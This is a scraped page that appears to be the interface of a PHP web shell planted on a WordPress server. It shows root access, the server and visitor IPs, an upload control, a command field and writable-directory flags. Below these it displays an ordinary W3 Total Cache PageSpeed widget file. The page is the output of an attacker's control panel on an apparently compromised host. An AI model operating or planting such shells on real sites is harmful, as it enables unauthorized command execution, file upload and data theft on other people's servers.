Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

Base Dir : /var/www/sweetheart.mx/htdocs

User : root


Who Knows WP Shell uploader
Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 216.238.66.20  /  Your IP : 216.73.216.249
Web Server : nginx/1.30.4
System : Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/blushrubor.com/htdocs/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/blushrubor.com/htdocs/wp-content/plugins/w3-total-cache/PageSpeed_Widget_View_FromApi.php
<?php
namespace W3TC;

if ( !defined( 'W3TC' ) )
	die();

$r = $api_response;
$rm = $api_response['mobile'];
$rd = $api_response['desktop'];



function w3tcps_barline($metric) {
	if ( !is_array( $metric['distributions'] ) ||
			count( $metric['distributions'] ) < 3 ) {
		return;
	}

	$v1 = round((float)$metric['distributions'][0]['proportion'] * 100);
	$v2 = round((float)$metric['distributions'][1]['proportion'] * 100);
	$v3 = round((float)$metric['distributions'][2]['proportion'] * 100);

	?>
	<div class="w3tcps_barline">
		<div class="w3tcps_barfast" style="flex-grow: <?php echo esc_html($v1) ?>"><?php echo esc_html($v1) ?>%</div>
		<div class="w3tcps_baraverage" style="flex-grow: <?php echo esc_html($v2) ?>"><?php echo esc_html($v2) ?>%</div>
		<div class="w3tcps_barslow" style="flex-grow: <?php echo esc_html($v3) ?>;"><?php echo esc_html($v3) ?>%</div>
	</div>
	<?php
}



function w3tcps_bar($r, $metric, $name) {
	if ( !isset( $r['desktop']['metrics'][$metric] ) ) {
		return;
	}

	echo '<div class="w3tcps_metric">' . esc_html( $name ) . '</div>';
	w3tcps_barline( $r['mobile']['metrics'][$metric]);
	w3tcps_barline( $r['desktop']['metrics'][$metric]);
}



?>
<div class="w3tcps_scores">
	<section title="Mobile"><?php echo esc_html( $rm['score'] ) ?></section>
	<p>|</p>
	<section title="Desktop"><?php echo esc_html( $rd['score'] ) ?></section>
</div>

<div>
	<?php w3tcps_bar($r, 'LARGEST_CONTENTFUL_PAINT_MS', 'Largest Contentful Paint') ?>
	<?php w3tcps_bar($r, 'FIRST_CONTENTFUL_PAINT_MS', 'First Contentful Paint') ?>
	<?php w3tcps_bar($r, 'FIRST_INPUT_DELAY_MS', 'First Input Delay') ?>
	<?php w3tcps_bar($r, 'CUMULATIVE_LAYOUT_SHIFT_SCORE', 'Cumulative Layout Shift') ?>
</div>
<div class="w3tcps_buttons">
	<input class="button w3tcps_refresh" type="button" value="Refresh analysis" />
	<a href="<?php echo esc_html( $r['test_url'] ) ?>" target="_blank" class="button">View all results</a>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit